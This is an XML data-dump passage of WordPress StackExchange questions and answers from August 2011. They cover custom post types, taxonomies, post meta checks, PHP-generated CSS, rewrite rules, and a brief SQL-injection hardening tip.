  <row Id="26006" PostTypeId="2" ParentId="26005" CreationDate="2011-08-16T00:32:38.377" Score="0" ViewCount="" Body="&lt;p&gt;Try something more like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_editor_content( $content ) {&#xA;&#xA; global $post&#xA;&#xA; if (get_post_type($post) == 'sources'){&#xA; //rest of your stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-16T00:32:38.377" CommentCount="5" />
  <row Id="26007" PostTypeId="1" AcceptedAnswerId="26790" CreationDate="2011-08-16T00:39:21.743" Score="1" ViewCount="50" Body="&lt;p&gt;I'm using jQuery Supersized to create a full screen image slideshow. The images are called from a custom post type called Slides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code works fine but I want to be able to only pull in Slides in a specific category and for some reason I can't get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding '&amp;amp;category_name=' to the first line to this but it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=slides&amp;amp;category_name=project1&amp;amp;order=ASC&amp;amp;posts_per_page=-1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=slides&amp;amp;order=ASC&amp;amp;posts_per_page=-1');&#xA;$output = &quot;&quot;;&#xA;$n= 0;&#xA;&#xA;//Loop for Post Types Slides&#xA;if ( have_posts() ) while ( have_posts() ) : the_post();&#xA;$n++;&#xA;&#xA;//Slide Image&#xA;$thumbnail = wp_get_attachment_image_src(get_post_thumbnail_id(), 'full');&#xA;&#xA;//Get the Slide meta info&#xA;$slide_link = get_post_meta(get_the_ID(), 'mb_slide_link', true);&#xA;&#xA;$output.=&quot;{&quot;;&#xA;$output.=&quot;image : '&quot;. $thumbnail[0] .&quot;'&quot;;&#xA;&#xA;if($slide_link != ''){&#xA;$output.=&quot; , url : '&quot;. $slide_link.&quot; '&quot;;&#xA;} ;&#xA;&#xA;$output.=&quot;},&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2011-08-24T18:31:44.857" Title="Query Custom Post Types &amp; category_name?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;jquery&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26008" PostTypeId="1" CreationDate="2011-08-16T02:00:00.210" Score="1" ViewCount="18" Body="&lt;p&gt;I am running Wordpress 3.2.1 and have utilised &lt;a href=&quot;http://blue-anvil.com/archives/wordpress-download-monitor-3-documentation/&quot; rel=&quot;nofollow&quot;&gt;Download Monitor&lt;/a&gt; to provide my clients a &lt;a href=&quot;http://www.dekho.com.au/download-gallery/&quot; rel=&quot;nofollow&quot;&gt;downloads gallery.&lt;/a&gt;&lt;br&gt;&#xA;-  We are a small software vendor and this gallery is mostly a bunch of free tools you can bolt onto it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can download these items.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have recently decided to use this gallery for hosting our main product for download.&lt;br&gt;&#xA;However - we need to make this only available to our paying clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here is my plan:&lt;br&gt;&#xA;- Create a guest account&lt;br&gt;&#xA;- Upload the product (zip) and add it to the gallery.&lt;br&gt;&#xA;- Make use of the 'Member Only file' tickbox, so that anyone not logged in wont be able to get file.&lt;br&gt;&#xA;- send an email out to our paying customers with credentials for guest account&lt;br&gt;&#xA;- change password for each new major version.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds ok to me.&#xA;I did consider making all my clients get their own logins, as this will enable better tracking of who has downloaded what.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside would be having to manage which WP users had paid maintenance and keeping it in sync with our internal systems.  Also means the clients would have to create accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another consideration I had, could people not try and guess where the software downloads directory is?  As its not actualyl secured at that level is it?&lt;br&gt;&#xA;i.e. They could keep guessing at filenames under /public_html/downloads/?&lt;br&gt;&#xA;- The easy workaroudn would be to store them in a different place or a weird filename/foldername.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crux of my question is - &lt;strong&gt;Is the above methodology sound and how would you improve it?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-08-16T02:00:00.210" Title="Best Practise for securing files in a download gallery" Tags="&lt;login&gt;&lt;security&gt;" />
  <row Id="26011" PostTypeId="2" ParentId="25999" CreationDate="2011-08-16T06:20:53.797" Score="0" ViewCount="" Body="&lt;p&gt;After adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt; print_r($wp_query); &lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to my template and examining the results, I have discovered URL formats that work.  I wrote, in my question, that the following format doesn't work -- in fact, it does - if you spell your custom taxonomy name correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;example.com/?ctxname=term1+term2&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pretty URLs with the '+' and ',' operators (indicating AND and OR respectively) are only recognized when &lt;strong&gt;not&lt;/strong&gt; URL-encoded. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;example.com/cptslugs/ctxslug/term1,term2/ &lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces the following WP_Tax_Query Object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[tax_query] =&gt; WP_Tax_Query Object&#xA;      (&#xA;          [queries] =&gt; Array&#xA;              (&#xA;                  [0] =&gt; Array&#xA;                      (&#xA;                          [taxonomy] =&gt; announcements_cats&#xA;                          [terms] =&gt; Array&#xA;                              (&#xA;                                  [0] =&gt; term1&#xA;                                  [1] =&gt; term2&#xA;                              )&#xA;&#xA;                          [include_children] =&gt; 1&#xA;                          [field] =&gt; slug&#xA;                          [operator] =&gt; IN&#xA;                      )&#xA;&#xA;                  [1] =&gt; Array&#xA;                      (&#xA;                          [taxonomy] =&gt; category&#xA;                          [terms] =&gt; Array&#xA;                              (&#xA;                                  [0] =&gt; 1&#xA;                              )&#xA;&#xA;                          [include_children] =&gt; &#xA;                          [field] =&gt; term_id&#xA;                          [operator] =&gt; NOT IN&#xA;                      )&#xA;&#xA;              )&#xA;&#xA;          [relation] =&gt; AND&#xA;      )&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;example.com/cptslugs/ctxslug/term1+term2/&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces the following WP_Tax_Query Object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[tax_query] =&gt; WP_Tax_Query Object&#xA;      (&#xA;          [queries] =&gt; Array&#xA;              (&#xA;                  [0] =&gt; Array&#xA;                      (&#xA;                          [taxonomy] =&gt; ctxname&#xA;                          [terms] =&gt; Array&#xA;                              (&#xA;                                  [0] =&gt; term1&#xA;                              )&#xA;&#xA;                          [include_children] =&gt; 1&#xA;                          [field] =&gt; slug&#xA;                          [operator] =&gt; IN&#xA;                      )&#xA;&#xA;                  [1] =&gt; Array&#xA;                      (&#xA;                          [taxonomy] =&gt; ctxname&#xA;                          [terms] =&gt; Array&#xA;                              (&#xA;                                  [0] =&gt; term2&#xA;                              )&#xA;&#xA;                          [include_children] =&gt; 1&#xA;                          [field] =&gt; slug&#xA;                          [operator] =&gt; IN&#xA;                      )&#xA;&#xA;                  [2] =&gt; Array&#xA;                      (&#xA;                          [taxonomy] =&gt; category&#xA;                          [terms] =&gt; Array&#xA;                              (&#xA;                                  [0] =&gt; 1&#xA;                              )&#xA;&#xA;                          [include_children] =&gt; &#xA;                          [field] =&gt; term_id&#xA;                          [operator] =&gt; NOT IN&#xA;                      )&#xA;&#xA;              )&#xA;&#xA;          [relation] =&gt; AND&#xA;      )&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S.: According &lt;a href=&quot;http://stackoverflow.com/questions/198606/can-i-use-commas-in-a-url/198850#198850&quot;&gt;to this:&lt;/a&gt; the '+' and the ',' are 'Reserved Characters' and can be used in the path, parameters and fragment of a URI, but may not appear in other parts of a URI.  I guess it's OK after all.  Just seems 'wrong' somehow, though.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-16T07:47:33.207" LastActivityDate="2011-08-16T07:47:33.207" />
  <row Id="26013" PostTypeId="1" AcceptedAnswerId="26015" CreationDate="2011-08-16T07:00:45.263" Score="0" ViewCount="34" Body="&lt;p&gt;I have a CSS-file generated from PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In my file it says...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Content-type: text/css&quot;);&#xA;define('WP_USE_THEMES', false);&#xA;include '../../../../wp-load.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read that including wp-load.php like this is not good. Why I do this is to get the environment in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the &quot;correct&quot; way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-08-16T07:45:50.773" Title="Include CSS with PHP without including wp-load?" Tags="&lt;css&gt;&lt;wp-load.php&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26015" PostTypeId="2" ParentId="26013" CreationDate="2011-08-16T07:40:32.470" Score="1" ViewCount="" Body="&lt;h1&gt;EDIT&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Forget my answer below. You could simply use &lt;code&gt;wp_register_style&lt;/code&gt; and &lt;code&gt;wp_enqueue_style&lt;/code&gt; described in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1445/how-do-i-add-css-options-to-my-plugin-without-using-inline-styles&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You could do it with an additional query variable.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a new variable to the &lt;code&gt;$query_vars&lt;/code&gt; array with the &lt;code&gt;query_vars&lt;/code&gt; filter &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the &lt;code&gt;template_redirect&lt;/code&gt; action, make sure your &lt;code&gt;custom.php&lt;/code&gt;-css file is included, if the query variable is set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// functions.php&#xA;function wpse26013_add_query_vars(query_vars) {&#xA;    $query_vars[] = 'style';&#xA;    return $query_vars;&#xA;}&#xA;add_filter('query_vars', 'wpse26013_add_query_vars');&#xA;&#xA;function wpse26013_include_custom_css() {&#xA;    $style = get_query_var('style');&#xA;&#xA;    if($style == 'custom') {&#xA;        include_once(get_stylesheet_directory_uri() . '/css/custom.php');&#xA;        return;&#xA;    }&#xA;}&#xA;add_action('template_redirect', 'wpse26013_include_custom_css');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then you can add a simple css include in your header file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// header.php&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url') . '/css/?style=custom'; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last but not least, you have to define your custom css file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// custom.php&#xA;&amp;lt;?php&#xA;header('Content-type: text/css');&#xA;header(&quot;Cache-Control: must-revalidate&quot;);&#xA;header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 1209600) . ' GMT');&#xA;&#xA;$options = get_option('webeo');&#xA;?&amp;gt;&#xA;#header #logo {&#xA;    background: url('&amp;lt;?php echo get_stylesheet_directory_uri() . '/images/' . $options['header']['site_logo']; ?&amp;gt;') no-repeat;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also get the contents from the css file with the builtin PHP function &lt;code&gt;file_get_contents()&lt;/code&gt; and print the css directly to the sourcecode.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-08-16T07:45:50.773" LastActivityDate="2011-08-16T07:45:50.773" />
  <row Id="26016" PostTypeId="1" CreationDate="2011-08-16T08:53:45.290" Score="1" ViewCount="50" Body="&lt;p&gt;im trying to do a simple if function on my code but for some reason it just isnt working correctly, ive gone over it several times to see if there is anything im missing but no luck, im trying to say my value is 0 then echo nothing if not else the_ratings. very simple...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( get_post_meta( $post_id, 'ratings_users', true ) === '0' ) {&#xA;}else{&#xA;the_ratings();&#xA;} ?&amp;gt;&#xA;&amp;lt;?php if(!get_post_meta( $post_id, 'ratings_users', true ) !='0' ) {&#xA;}else{&#xA;the_ratings();&#xA;} ?&amp;gt;&#xA;&amp;lt;?php if(get_post_meta( $post_id, 'ratings_users', true ) =='0' ) {&#xA;}else{&#xA;the_ratings();&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit: at this point ive tried 3 different ways to get this stupid thing to output nothing if the value in the custom field is 0 and still it doesnt work correctly&lt;/p&gt;&#xA;" OwnerUserId="7924" LastEditorUserId="7924" LastEditorDisplayName="" LastEditDate="2011-08-16T15:42:48.737" LastActivityDate="2011-08-16T22:19:19.603" Title="trying to do if post meta !=0" Tags="&lt;post-meta&gt;&lt;rating&gt;" AnswerCount="5" CommentCount="2" />
  <row Id="26017" PostTypeId="2" ParentId="26016" CreationDate="2011-08-16T09:16:17.993" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_post_meta( $post_id, 'ratings_users', true ) != 0 ) {&#xA;    the_ratings();&#xA;} else {&#xA;    // Do nothing here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-16T09:16:17.993" />
  <row Id="26018" PostTypeId="1" AcceptedAnswerId="26021" CreationDate="2011-08-16T09:21:17.177" Score="0" ViewCount="52" Body="&lt;p&gt;I'm using following code to register new taxonomy for WP-Post. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function qc22_build_taxonomies(){&#xA;        register_taxonomy(__( &quot;fullscreen-tags&quot; ), array(__( &quot;fullscreen&quot; )), array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; __( &quot;Fullscreen Tags&quot; ), &quot;singular_label&quot; =&amp;gt; __( &quot;Skill Type&quot; ), &quot;rewrite&quot; =&amp;gt; array('slug' =&amp;gt; 'fullscreen-tags', 'hierarchical' =&amp;gt; true))); &#xA;    }&#xA;    function qc22_fullscreen_edit_columns($columns){  &#xA;&#xA;            $columns = array(  &#xA;                &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,  &#xA;                &quot;title&quot; =&amp;gt; __( 'fullscreen Item Title' ),&#xA;                &quot;type&quot; =&amp;gt; __( 'type' )&#xA;            );  &#xA;&#xA;            return $columns;  &#xA;    }  &#xA;    function qc22_fullscreen_custom_columns($column){  &#xA;            global $post;  &#xA;            switch ($column)  &#xA;            {    &#xA;                case __( 'type' ):  &#xA;                    echo get_the_term_list($post-&amp;gt;ID, __( 'fullscreen-tags' ), '', ', ','');  &#xA;                    break;&#xA;            }  &#xA;    }  &#xA;&#xA;    add_action( 'init', 'qc22_build_taxonomies', 0 );&#xA;    add_filter(&quot;manage_edit-fullscreen_columns&quot;, &quot;qc22_fullscreen_edit_columns&quot;);  &#xA;    add_action(&quot;manage_posts_custom_column&quot;,  &quot;qc22_fullscreen_custom_columns&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to appear this taxonomy on WP-Pages also. I'm new to wordpress. Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3190" LastActivityDate="2011-08-16T09:58:48.880" Title="register_taxonomy for both 'Post' &amp; 'Page'" Tags="&lt;custom-taxonomy&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="26019" PostTypeId="1" CreationDate="2011-08-16T09:26:05.407" Score="0" ViewCount="21" Body="&lt;p&gt;How do I export my wordpress calendar to a google calendar? I have a blog which has a calendar embedded into it. I want to export it to a google calendar and link it with with the blog dynamically. That is any changes made to the wordpress calendar are reflected in the google calendar too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to Wordpress, so not sure if I need to provide more details. Do let me know if you need more information from me&lt;/p&gt;&#xA;" OwnerUserId="7925" LastActivityDate="2011-08-16T10:05:05.327" Title="Wordpress Calendar to Google Calendar" Tags="&lt;calendar&gt;" AnswerCount="1" />
  <row Id="26020" PostTypeId="2" ParentId="24931" CreationDate="2011-08-16T09:41:00.947" Score="0" ViewCount="" Body="&lt;p&gt;The answer to the question is in the two following posts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/10804/permalinks-in-custom-post-types&quot;&gt;Permalinks in Custom Post types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9419/remove-taxonomy-slug-from-a-custom-hierarchical-taxonomy-permalink/&quot;&gt;Remove taxonomy slug from a custom hierarchical taxonomy permalink&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to ignore the automated rewriting, as I have done, but you need to add &lt;code&gt;$wp_rewrite-&amp;gt;use_verbose_page_rules = true;&lt;/code&gt; to the mix, otherwise your pages will conflict with the rewrite rules you have established for your taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="4159" LastActivityDate="2011-08-16T09:41:00.947" />
  <row Id="26021" PostTypeId="2" ParentId="26018" CreationDate="2011-08-16T09:44:24.617" Score="1" ViewCount="" Body="&lt;p&gt;The second parameter of &lt;code&gt;register_taxonomy&lt;/code&gt; can accept a string or an array of post types, so simply add the &lt;code&gt;page&lt;/code&gt; post type to that array, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function qc22_build_taxonomies() {&#xA;    register_taxonomy( &quot;fullscreen-tags&quot;, array( &quot;fullscreen&quot;, &quot;page&quot; ), array( &quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; __( &quot;Fullscreen Tags&quot; ), &quot;singular_label&quot; =&amp;gt; __( &quot;Skill Type&quot; ), &quot;rewrite&quot; =&amp;gt; array('slug' =&amp;gt; 'fullscreen-tags', 'hierarchical' =&amp;gt; true ) ) ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-16T09:58:48.880" LastActivityDate="2011-08-16T09:58:48.880" CommentCount="3" />
  <row Id="26022" PostTypeId="2" ParentId="26019" CreationDate="2011-08-16T10:05:05.327" Score="0" ViewCount="" Body="&lt;p&gt;If your blog has a calendar plugin in it, it may be producing an ics feed.  Many calendar plugins do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Subscribe&quot; to the ics feed from your google account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google may be slow to reflect changes, but it will eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on this &quot;test&quot; website &lt;a href=&quot;http://test.icalevents.com/calendar-of-all-events/agenda-yoga/&quot; rel=&quot;nofollow&quot;&gt;http://test.icalevents.com/calendar-of-all-events/agenda-yoga/&lt;/a&gt;, you can click on the calendar icons.  (Or right click to get the link location and add that link location to your google calendar account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully your calendar software does something similar.   If it does not, you'd have to get someone to write code to produce an ics feed for you (or change calendar plugins).&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-16T10:05:05.327" CommentCount="1" />
  <row Id="26023" PostTypeId="1" CreationDate="2011-08-16T10:19:56.233" Score="1" ViewCount="32" Body="&lt;p&gt;I am trying to add a InfoBox (just infotext for the user) to the media upload popup window (se mockup link). Any tips on how to adress this feature? Filter hook? Other solution?&#xA;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/0q160f3l360E2X1G2k3F&quot; rel=&quot;nofollow&quot;&gt;Mockup of InfoBox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;Problem solved&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function media_upload_infobox() {?&amp;gt;&#xA;&amp;lt;!-- Start infobox --&amp;gt;&#xA;&amp;lt;div class=&quot;media-infobox&quot; style=&quot;background:#ffff99; color:#555555; border: #CCCCCC 1px; border-radius: 10px 10px 10px&#xA;    10px; padding:5px;&quot;&amp;gt;&#xA;    &amp;lt;h4 class=&quot;media-infobox-sub-title&quot; style=&quot;font-family: Georgia,Times,serif; font-weight: normal; color: rgb(90, 90, 90); font-size: 1.3em; margin: 12px;&quot;&amp;gt;Your header here.&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;p class=&quot;media-infobox-infotext&quot; style=&quot;margin:12px;&quot;&amp;gt; Infotext here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- Stop infobox --&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;} // End function media_upload_infobox&#xA;&#xA;// Add function to Action Hook&#xA;add_action('pre-flash-upload-ui','media_upload_infobox');&#xA;add_action('pre-html-upload-ui','media_upload_infobox');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7926" LastEditorUserId="7926" LastEditorDisplayName="" LastEditDate="2011-08-16T17:03:46.640" LastActivityDate="2011-08-16T17:26:18.463" Title="Add a InfoBox in the media upload window" Tags="&lt;customization&gt;&lt;media-upload&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="26024" PostTypeId="2" ParentId="26016" CreationDate="2011-08-16T10:46:22.427" Score="2" ViewCount="" Body="&lt;p&gt;The reason you have a problem is &lt;code&gt;0&lt;/code&gt; is also considered equal to false, when the &lt;code&gt;get_post_meta&lt;/code&gt; call returns false, it's also the same as being equal to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !get_post_meta( $post_id, 'some-non-existant-field', true ) == 0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be the same as ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( get_post_meta( $post_id, 'some-existing-field', true ) == 0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..the only difference is in one case the field doesn't exist, and in one it does(and has a zero value), both will be true though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, &lt;code&gt;0&lt;/code&gt; is not the same as &lt;code&gt;'0'&lt;/code&gt;, ie. one is a string value, the other an actual numeric value. Custom field values are stored as strings, so your comparison should go along the lines of..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( get_post_meta( $post_id, 'some-existing-field', true ) == '0' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. to be accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise i'm bad at explaining this, so i hope that helps(or someone else explains it better).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-16T10:46:22.427" />
  <row Id="26025" PostTypeId="1" CreationDate="2011-08-16T10:47:28.700" Score="0" ViewCount="6" Body="&lt;p&gt;I would like to rewrite some custom queries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain.com/post/hello-world/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the standard post layout, when I turn pretty permalinks on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain.com/post/hello-world/?alt=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently this displays my custom 'alt' layout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain.com/post/hello-world/alt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to rewrite my 'alt' query as above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for how I can achieve this?&lt;/p&gt;&#xA;" OwnerUserId="7729" LastActivityDate="2011-08-16T10:47:28.700" Title="Rewriting custom URL queries" Tags="&lt;url-rewriting&gt;&lt;urls&gt;" />
  <row Id="26026" PostTypeId="2" ParentId="26003" CreationDate="2011-08-16T11:09:24.667" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;$wpdb&lt;/code&gt; object is part of WordPress, so wouldn't be loaded into a standalone PHP page as it is into a WordPress template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to look into &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;creating your own page templates&lt;/a&gt;, then you could run your database query as part of that page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note: You are currently trusting input from the user (&lt;code&gt;$_REQUEST&lt;/code&gt;) which is a Bad Thing™, as it could make you vulnerable to SQL Injection attacks. The code example you give could be adapted as below to be less vulnerable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$orderby = $_REQUEST['orderby'];&#xA;// Limit the values of orderby to ones we know to be safe&#xA;$acceptable_orderbys = array( 'name', 'age', 'height' );&#xA;if ( in_array( $orderby, $acceptable_orderbys ) )&#xA;    $clean_orderby = $orderby;&#xA;else&#xA;    $clean_orderby = 'name';&#xA;$sql = &quot;SELECT * FROM wp_nc_location ORDER BY $clean_orderby&quot;;&#xA;$data = $wpdb-&amp;gt;get_results($sql); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've not tested the above code, but the key thing is to check the value of &lt;code&gt;$orderby&lt;/code&gt; is known to be safe before you put it into the DB query.&lt;/p&gt;&#xA;" OwnerUserId="7927" LastActivityDate="2011-08-16T11:09:24.667" CommentCount="1" />
  <row Id="26027" PostTypeId="1" CreationDate="2011-08-16T11:18:19.653" Score="0" ViewCount="12" Body="&lt;p&gt;I have installed NextGEN Gallery plugin. I can use it in my post / page with short-code like [nggallery id=1]. I don't want to use short-code. I want to show gallery names either in selectbox or radio button so that admin would not need to use short-code and he could easily click / select one gallery from the post / page. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Aamir&lt;/p&gt;&#xA;" OwnerUserId="6331" LastActivityDate="2011-08-16T11:18:19.653" Title="display a selectbox in dashboard and insert its value against post / page" Tags="&lt;plugin-nextgen-gallery&gt;" CommentCount="1" />
  <row Id="26028" PostTypeId="2" ParentId="26005" CreationDate="2011-08-16T11:20:32.583" Score="1" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;$post_type&lt;/code&gt; global alongside a switch, it's easier and nicer to work with than several if else if else, etc..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'default_content', 'my_editor_content' );&#xA;&#xA;function my_editor_content( $content ) {&#xA;&#xA;    global $post_type;&#xA;&#xA;    switch( $post_type ) {&#xA;        case 'sources':&#xA;            $content = 'your content';&#xA;        break;&#xA;        case 'stories':&#xA;            $content = 'your content';&#xA;        break;&#xA;        case 'pictures':&#xA;            $content = 'your content';&#xA;        break;&#xA;        default:&#xA;            $content = 'your default content';&#xA;        break;&#xA;    }&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-16T11:20:32.583" CommentCount="2" />
  <row Id="26029" PostTypeId="1" CreationDate="2011-08-16T11:23:02.800" Score="1" ViewCount="31" Body="&lt;p&gt;I am starting to run into situations on projects where I am combining multiple plugins which all use &lt;code&gt;add_rewrite_rule&lt;/code&gt; and &lt;code&gt;flush_rewrite_rules&lt;/code&gt; at different points. As we all know, &lt;a href=&quot;http://twitter.com/#!/nacin/status/31455791940636672&quot; rel=&quot;nofollow&quot;&gt;calling &lt;code&gt;flush_rewrite_rules&lt;/code&gt; on every page load is a bad thing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arises when Plugin A has not yet added it's rewrite rules, but Plugin B calls &lt;code&gt;flush_rewrite_rules&lt;/code&gt;. Plugin A is a good citizen, and doesn't call &lt;code&gt;flush_rewrite_rules&lt;/code&gt; unless it needs to and so now &lt;strong&gt;it's&lt;/strong&gt; rewrite rules are no longer present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been 